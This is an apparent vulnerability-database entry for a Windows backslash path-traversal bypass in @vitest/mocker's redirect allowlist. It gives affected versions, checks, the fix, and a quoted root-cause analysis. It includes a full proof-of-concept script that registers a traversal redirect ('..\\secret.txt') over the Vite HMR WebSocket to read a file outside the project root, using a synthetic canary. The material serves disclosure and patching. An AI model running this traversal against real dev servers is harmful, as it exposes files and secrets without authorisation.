---
id: "CVE-2026-112950"
kind: "vulnerability"
aliases: ["CVE-2026-112950", "GHSA-xp26-3454-mjgp"]
title: "Vitest: Windows backslash traversal bypasses the @vitest/mocker redirect allowlist fix"
severity: "medium"
cvss: 5.900000095367432
epss: 0.003819999983534217
exploited: false
status: "open"
category: "package"
products: [{"name": "@vitest/mocker", "fixed": ["4.1.12"], "affected": ">= 4.1.11, < 4.1.12", "ecosystem": "npm"}, {"name": "@vitest/mocker", "fixed": ["5.0.3"], "affected": ">= 5.0.0-rc.2, < 5.0.3", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["ai-tooling", "cwe-22", "dev-server", "mocker", "npm", "package", "vite", "vitest", "windows"]
not_affected_if: ["no-mocker-plugin", "non-windows", "versions-outside-range", "vitest-browser-mode"]
published_at: "2026-10-20T16:17:05+00:00"
first_seen_at: "2026-10-23T19:11:32+00:00"
updated_at: "2026-10-23T21:57:20+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-xp26-3454-mjgp", "first_seen_at": "2026-10-23T19:11:32+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112950", "first_seen_at": "2026-10-23T21:57:20+00:00"}]
---

# Vitest: Windows backslash traversal bypasses the @vitest/mocker redirect allowlist fix

A fix for an earlier Vitest path traversal in @vitest/mocker can be bypassed on Windows by using backslashes in a redirect URL. An attacker who can reach the Vite dev server's WebSocket can read files outside the project root that the Vitest process can access.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:@vitest/mocker affected >= 4.1.11, < 4.1.12 fixed 4.1.12
- npm:@vitest/mocker affected >= 5.0.0-rc.2, < 5.0.3 fixed 5.0.3

## How to check

Run npm ls @vitest/mocker and confirm whether the version is 4.1.11 or >=5.0.0-rc.2 and <5.0.3.
Confirm the server runs on Windows and uses mockerPlugin or interceptorPlugin from @vitest/mocker.

## Fix

Upgrade @vitest/mocker to 4.1.12 or 5.0.3 (or the Vitest release that depends on it).
Until then, avoid exposing the Vite dev server beyond loopback on Windows.

## Timeline

- 2026-10-23T19:11:32+00:00 ghsa https://github.com/advisories/GHSA-xp26-3454-mjgp
- 2026-10-23T21:57:20+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-112950

## From the sources

## Summary

The path traversal fix released for [GHSA-82fw-gwwq-j7x9](https://github.com/vitest-dev/vitest/security/advisories/GHSA-82fw-gwwq-j7x9) can be bypassed on Windows by using a backslash in the redirect URL pathname.

The fixed code joins an attacker-controlled URL pathname with the Vite root using `node:path/posix`, then passes that string to Vite's file allowlist check. On Windows, a value such as `C:/project/root/..\secret.txt` retains `..\` during the POSIX join and begins with the allowed root, so the allowlist accepts it. The later `readFile()` call uses Windows filesystem semantics, where the backslash is a path separator, and reads the sibling file outside the configured root.

I reproduced the issue with the published `@vitest/mocker` packages in both fixed release lines:

- `@vitest/mocker@4.1.11`
- `@vitest/mocker@5.0.0`

The current `main` source at commit `2ce29d5fa758046e5453bd92b8ed6c9da9709bb5` has the same behavior.

## Patches

Fixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. The redirect registration now converts backslashes in the URL pathname to forward slashes before it joins the pathname with the root, so `..\` resolves the same as `../` and the allowlist check rejects it.

## Relationship to GHSA-82fw-gwwq-j7x9

This is a bypass of the accepted fix, not a separate unrelated path. It uses the same `vitest:interceptor:register` redirect registration and the same file-reading sink as the original advisory. A forward-slash traversal is rejected after the fix, while the equivalent Windows backslash traversal is accepted.

The original advisory marks 4.1.11 and 5.0.0-rc.2 as patched. The newly affected ranges introduced by the incomplete fix are therefore:

- `4.1.11`
- `>=5.0.0-rc.2, <5.0.3`

Older affected releases remain covered by GHSA-82fw-gwwq-j7x9.

## Root cause

`packages/mocker/src/node/interceptorPlugin.ts` imports `join` from `node:path/posix`. Redirect registration currently performs the equivalent of:

```ts
const redirect = join(server.config.root, redirectUrl.pathname)
if (!isFileLoadingAllowed(server.config, redirect)) return
event.redirect = redirect
```

The registered value later reaches:

```ts
readFile(mock.redirect, 'utf-8')
```

Vite's allowlist check expects a normalized absolute filesystem path. On Windows, POSIX joining does not normalize backslashes, but `readFile` interprets them as separators. The check and the sink therefore interpret the same string differently.

The authenticated browser RPC fallback in `packages/browser/src/node/rpc.ts` is not affected: it joins the path with `pathe`, which converts backslashes to forward slashes before the access check. The reproduction below targets the public mocker WebSocket registration path.

## Preconditions and impact

A client that can reach a Vite server using the public `mockerPlugin` or standalone `interceptorPlugin` WebSocket registration can register a redirect mock. On Windows, the client can then request the registered module and read a file outside `server.fs.allow` that the Vitest/Vite process account can access. Vitest Browser Mode does not register these WebSocket handlers in the affected versions.

The reproduction uses an unauthenticated Vite HMR WebSocket connection and a normal HTTP GET. It does not call the plugin's internal transform API. The practical network reachability is the same deployment precondition described by the original advisory; default loopback-only development servers are correspondingly less exposed.

## Reproduction

Tested on GitHub-hosted Windows Server 2025 with Node.js 22. The test creates only temporary synthetic files: a Vite root directory and a sibling `secret.txt` containing a canary.

Install dependencies for either affected line:

```console
npm install @vitest/mocker@4.1.11 vite@7.1.5 ws@8.18.3
# or
npm install @vitest/mocker@5.0.0 vite@7.1.5 ws@8.18.3
node poc.mjs
```

`poc.mjs`:

```js
import { mkdir, writeFile } from 'node:fs/promises'
import { join } from 'node:path'
import { tmpdir } from 'node:os'
import { randomUUID } from 'node:crypto'
import { interceptorPlugin } from '@vitest/mocker/node'
import { createServer } from 'vite'
import { WebSocket } from 'ws'

const base = join(tmpdir(), `vitest-path-${randomUUID()}`)
const root = join(base, 'root')
const secret = join(base, 'secret.txt')
await mkdir(root, { recursive: true })
await writeFile(secret, 'SYNTHETIC_OUTSIDE_ROOT_CANARY')

const server = await createServer({
  root,
  configFile: false,
  logLevel: 'silent',
  server: { fs: { allow: [root] } },
  plugins: [
    {
      name: 'validation:virtual-modules',
      enforce: 'pre',
      resolveId(id) {
        if (id === '/control' || id === '/bypass') return id
      },
    },
    interceptorPlugin(),
  ],
})

await server.listen()
const port = new URL(server.resolvedUrls.local[0]).port
const baseUrl = server.resolvedUrls.local[0]

function register(id, redirect) {
  return new Promise((resolve, reject) => {
    const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr')
    const timer = setTimeout(() => reject(new Error('registration timeout')), 5000)
    socket.on('message', (raw) => {
      let message
      try { message = JSON.parse(raw.toString()) } catch { return }
      if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') {
        clearTimeout(timer)
        socket.close()
        resolve()
      }
    })
    socket.on('open', () => socket.send(JSON.stringify({
      type: 'custom',
      event: 'vitest:interceptor:register',
      data: { type: 'redirect', raw: '', id, url: id, redirect },
    })))
    socket.on('error', reject)
  })
}

try {
  await register('/control', 'traversal:../secret.txt')
  const controlResponse = await fetch(new URL('/control', baseUrl))
  const controlBody = await controlResponse.text()

  await register('/bypass', 'traversal:..\\secret.txt')
  const bypassResponse = await fetch(new URL('/bypass', baseUrl))
  const bypassBody = await bypassResponse.text()

  const result = {
    platform: process.platform,
    root,
    outsideFile: secret,
    slashTraversalStatus: controlResponse.status,
    slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    backslashTraversalStatus: bypassResponse.status,
    backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null,
    expectedBackslashTraversalBlocked: process.env.EXPECT_BLOCKED === '1',
  }
  console.log(JSON.stringify(result, null, 2))
  const backslashResultMatchesExpectation = result.expectedBackslashTraversalBlocked
    ? !result.backslashTraversalReturnedOutsideCanary
    : result.backslashTraversalReturnedOutsideCanary
  if (!result.slashTraversalRejected || !backslashResultMatchesExpectation) process.exitCode = 1
} finally {
  await server.close()
}
```

Observed with `@vitest/mocker@4.1.11`:

```json
{
  "platform": "win32",
  "slashTraversalStatus": 404,
  "slashTraversalRejected": true,
  "backslashTraversalStatus": 200,
  "backslashTraversalReturnedOutsideCanary": true,
  "returnedBody": "SYNTHETIC_OUTSIDE_ROOT_CANARY",
  "expectedBackslashTraversalBlocked": false
}
```

The same result was observed with `@vitest/mocker@5.0.0`.

This includes two useful controls:

1. `traversal:../secret.txt` is rejected and returns 404, confirming the published forward-slash fix is active.
2. `traversal:..\secret.txt` returns 200 and the exact outside-root canary, confirming a Windows separator bypass rather than an unrelated route or fixture response.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
